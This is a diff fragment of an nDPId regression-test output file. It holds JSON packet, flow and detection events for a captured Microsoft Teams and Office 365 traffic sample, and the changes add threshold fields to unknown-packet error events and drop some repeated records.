00881{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1587041682440956,"flow_dst_last_pkt_time":1587041672419153,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"thread_ts_usec":1587041682440956,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES9AAEARZ+LAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAHT\/ICoAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} 01099{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1160,"source":"teams.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041682376166,"flow_src_last_pkt_time":1587041682423900,"flow_dst_last_pkt_time":1587041682467714,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":236,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":236,"flow_dst_tot_l4_payload_len":1452,"midstream":0,"thread_ts_usec":1587041682467714,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.76.48","src_port":60544,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"northeurope.notifications.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} 01712{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1185,"source":"teams.pcap","alias":"nDPId-test","flow_id":25,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":5,"flow_first_seen":1587041682369801,"flow_src_last_pkt_time":1587041682557246,"flow_dst_last_pkt_time":1587041682557307,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041682557307,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60543,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1189,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041682611214} +00286{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041682611214,"packet_id":1189,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041682611214} 00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":1189,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041682598222,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1193,"source":"teams.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041682668456,"flow_src_last_pkt_time":1587041682668456,"flow_dst_last_pkt_time":1587041682668456,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":58,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":58,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":58,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041682668456,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57530,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00574{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1193,"source":"teams.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_src_last_pkt_time":1587041682668456,"flow_dst_last_pkt_time":1587041682668456,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"thread_ts_usec":1587041682668456,"pkt":"EBMx8Tl2KDc3AG3ICABFAABW2rQAAP8RXYrAqAEGwKgBAeC6ADUAQqKILzcBAAABAAAAAAAACHByZXNlbmNlCHNlcnZpY2VzA3NmYg50cmFmZmljbWFuYWdlcgNuZXQAAAEAAQ=="} @@ -215,12 +215,8 @@ 00538{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1493,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_src_last_pkt_time":1587041683333389,"flow_dst_last_pkt_time":1587041683378966,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"thread_ts_usec":1587041683378966,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8VAJAAGwGd3g0ck0hwKgBBgG77IQbiSB\/F+H6CKASIABpjQAAAgQFoAEDAwgEAggKYR77TDCEshI="} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1494,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":3,"flow_src_last_pkt_time":1587041683379074,"flow_dst_last_pkt_time":1587041683378966,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041683379074,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyEAbsX4foIG4kggIAQEAmoEAAAAQEICjCEsj9hHvtM"} 01180{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1495,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041683333389,"flow_src_last_pkt_time":1587041683379360,"flow_dst_last_pkt_time":1587041683378966,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041683379360,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60548,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1499,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041683406443} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1499,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041683396534,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 01712{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1503,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":4,"flow_first_seen":1587041683333389,"flow_src_last_pkt_time":1587041683430891,"flow_dst_last_pkt_time":1587041683431072,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041683431072,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60548,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} 02106{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1516,"source":"teams.pcap","alias":"nDPId-test","flow_id":32,"flow_state":"finished","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1587041683186164,"flow_src_last_pkt_time":1587041683511604,"flow_dst_last_pkt_time":1587041683511700,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1428,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":2582,"flow_dst_tot_l4_payload_len":7792,"midstream":0,"thread_ts_usec":1587041683511700,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.88.59","src_port":60547,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":2,"avg":20999.2,"max":115070,"stddev":31123.6,"var":968681216.0,"ent":3.5,"data": [34191,34298,279,36871,33,36580,20,190,171,120,2,98,1011,12039,309,36028,22727,226,163,129,10387,10298,599,557,77127,91684,7,49137,80440,115070,185]},"pktlen": {"min":52,"avg":377.2,"max":1492,"stddev":521.7,"var":272149.2,"ent":3.9,"data": [64,60,52,273,1492,1492,64,52,1492,52,1492,302,52,178,145,533,103,52,121,52,90,90,52,414,52,52,1480,247,52,227,52,1139]},"bins": {"c_to_s": [11,1,1,1,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0],"s_to_c": [3,2,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1],"entropies": [4.278468132,5.100120544,4.678913116,5.492300034,7.395298958,7.335471153,4.813810349,4.784870625,7.534573555,4.736229897,7.601704121,7.355720520,4.823332310,6.256767273,6.195283890,7.525622368,5.556344509,4.861793995,6.029422760,4.861793995,5.382391453,5.548377514,4.823332310,7.376307011,4.861793995,5.063529015,7.847518921,6.993651390,4.986605644,6.825597286,4.731892109,7.799232483]},"ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative"}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1533,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041683611241} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":1533,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041683605577,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041684291077,"flow_src_last_pkt_time":1587041684291077,"flow_dst_last_pkt_time":1587041684291077,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":38,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":38,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":38,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041684291077,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":59403,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00544{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_src_last_pkt_time":1587041684291077,"flow_dst_last_pkt_time":1587041684291077,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"thread_ts_usec":1587041684291077,"pkt":"EBMx8Tl2KDc3AG3ICABFAABC19sAAP8RYHfAqAEGwKgBAegLADUALnZLN+4BAAABAAAAAAAACXN1YnN0cmF0ZQZvZmZpY2UDY29tAAABAAE="} 01018{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1685,"source":"teams.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041684291077,"flow_src_last_pkt_time":1587041684291077,"flow_dst_last_pkt_time":1587041684291077,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":38,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":38,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":38,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041684291077,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":59403,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Microsoft365","proto_id":"5.219","encrypted":0,"breed":"Acceptable","category_id":15,"category":"Collaborative","hostname":"substrate.office.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -234,8 +230,6 @@ 01897{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1722,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":6,"flow_first_seen":1587041684306115,"flow_src_last_pkt_time":1587041684362150,"flow_dst_last_pkt_time":1587041684362335,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":211,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":211,"flow_dst_tot_l4_payload_len":4396,"midstream":0,"thread_ts_usec":1587041684362335,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Microsoft365","proto_id":"91.219","encrypted":1,"breed":"Acceptable","category_id":15,"category":"Collaborative","hostname":"substrate.office.com","tls": {"version":"TLSv1.2","server_names":"outlook.office.com,attachment.outlook.office.net,attachment.outlook.officeppe.net,bookings.office.com,delve.office.com,edge.outlook.office365.com,edgesdf.outlook.com,img.delve.office.com,outlook.live.com,outlook-sdf.live.com,outlook-sdf.office.com,sdfedge-pilot.outlook.com,substrate.office.com,substrate-sdf.office.com,afd-k-acdc-direct.office.com,beta-sdf.yammer.com,teams-sdf.yammer.com,beta.yammer.com,teams.yammer.com,attachments.office.net,attachments-sdf.office.net,afd-k.office.com,afd-k-sdf.office.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"a66ea560599a2f5c89eec8c3a0d69cee","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert Cloud Services CA-1","subjectDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Outlook.office.com","alpn":"h2,http\/1.1","fingerprint":"AA:D3:F5:66:06:48:AA:F8:8E:9B:79:D6:7F:1D:53:EA:3F:97:03:A2"}}} 01962{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1751,"source":"teams.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041682144166,"flow_src_last_pkt_time":1587041684314927,"flow_dst_last_pkt_time":1587041684501131,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":521,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":1329,"flow_dst_tot_l4_payload_len":7087,"midstream":0,"thread_ts_usec":1587041684501131,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60542,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":3,"avg":146055.7,"max":2009785,"stddev":489503.9,"var":239614050304.0,"ent":1.7,"data": [12667,12766,154,12385,2459,251,14879,502,529,250,3,817,4854,17134,1376,20,13097,4,249,321,136,11841,14,11155,108,621,112917,113684,1998116,2009785,174632]},"pktlen": {"min":40,"avg":305.2,"max":1492,"stddev":468.1,"var":219152.8,"ent":3.8,"data": [64,52,40,257,46,1492,1492,40,1492,40,1492,181,40,198,46,366,109,40,40,133,78,561,46,78,40,46,46,440,40,342,46,345]},"bins": {"c_to_s": [9,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [7,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1],"entropies": [4.396777153,4.984685421,4.571928501,5.492863178,4.462504387,7.269914627,7.475378990,4.630641460,7.477076530,4.571928501,7.667408466,6.767431736,4.680641174,6.542833328,4.505983353,7.221371651,5.957443714,4.630641460,4.630640984,6.221683502,5.214766979,7.578815937,4.414441109,5.396905422,4.571928501,4.457919598,4.522393703,7.482207775,4.680641174,7.242818356,4.478915691,7.266457558]}} 01436{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1751,"source":"teams.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1587041682144166,"flow_src_last_pkt_time":1587041684314927,"flow_dst_last_pkt_time":1587041684501131,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":521,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":1329,"flow_dst_tot_l4_payload_len":7087,"midstream":0,"thread_ts_usec":1587041684501131,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60542,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"config.teams.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.config.teams.microsoft.com,config.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","subjectDN":"CN=config.teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"B9:54:54:12:C9:E9:43:65:10:70:04:7B:AD:B6:0C:46:06:38:A5:FA"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1753,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041684611243} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":1753,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041684501226,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 01948{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1756,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_state":"info","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1587041684306115,"flow_src_last_pkt_time":1587041684950374,"flow_dst_last_pkt_time":1587041684410372,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1440,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":3472,"flow_dst_tot_l4_payload_len":5797,"midstream":0,"thread_ts_usec":1587041684950374,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":1,"avg":24145.7,"max":539594,"stddev":94604.1,"var":8949939200.0,"ent":1.9,"data": [11504,11610,262,11878,32500,90,44163,247,1,223,3839,7741,325,72,14634,1492,13,4159,11,266,6513,474,6734,4309,9884,14215,10718,10725,539594,6,314]},"pktlen": {"min":40,"avg":331.5,"max":1492,"stddev":473.5,"var":224192.2,"ent":3.9,"data": [64,52,40,251,46,1492,1492,40,1492,80,40,198,133,578,172,46,366,109,40,40,78,46,78,40,46,689,40,359,40,1480,694,248]},"bins": {"c_to_s": [9,1,1,0,2,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0],"s_to_c": [5,2,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0]},"directions": [0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0],"entropies": [4.428027153,4.893245220,4.521928310,5.397158146,4.505983353,6.671830177,7.464404583,4.630641460,7.577803612,5.737496376,4.680641174,6.516131401,6.154890537,7.647973537,6.500202656,4.505983353,7.196300030,5.817581654,4.611769199,4.561769485,5.250086308,4.457919598,5.392898560,4.630641460,4.522393227,7.690679073,4.680641174,7.335716724,4.680641174,7.846065521,7.720572472,6.957527637]}} 01901{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1756,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_state":"info","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1587041684306115,"flow_src_last_pkt_time":1587041684950374,"flow_dst_last_pkt_time":1587041684410372,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1440,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":3472,"flow_dst_tot_l4_payload_len":5797,"midstream":0,"thread_ts_usec":1587041684950374,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Microsoft365","proto_id":"91.219","encrypted":1,"breed":"Acceptable","category_id":15,"category":"Collaborative","hostname":"substrate.office.com","tls": {"version":"TLSv1.2","server_names":"outlook.office.com,attachment.outlook.office.net,attachment.outlook.officeppe.net,bookings.office.com,delve.office.com,edge.outlook.office365.com,edgesdf.outlook.com,img.delve.office.com,outlook.live.com,outlook-sdf.live.com,outlook-sdf.office.com,sdfedge-pilot.outlook.com,substrate.office.com,substrate-sdf.office.com,afd-k-acdc-direct.office.com,beta-sdf.yammer.com,teams-sdf.yammer.com,beta.yammer.com,teams.yammer.com,attachments.office.net,attachments-sdf.office.net,afd-k.office.com,afd-k-sdf.office.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"a66ea560599a2f5c89eec8c3a0d69cee","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert Cloud Services CA-1","subjectDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Outlook.office.com","alpn":"h2,http\/1.1","fingerprint":"AA:D3:F5:66:06:48:AA:F8:8E:9B:79:D6:7F:1D:53:EA:3F:97:03:A2"}}} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1775,"source":"teams.pcap","alias":"nDPId-test","flow_id":36,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041685090830,"flow_src_last_pkt_time":1587041685090830,"flow_dst_last_pkt_time":1587041685090830,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":45,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":45,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":45,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041685090830,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":61245,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -297,13 +291,9 @@ 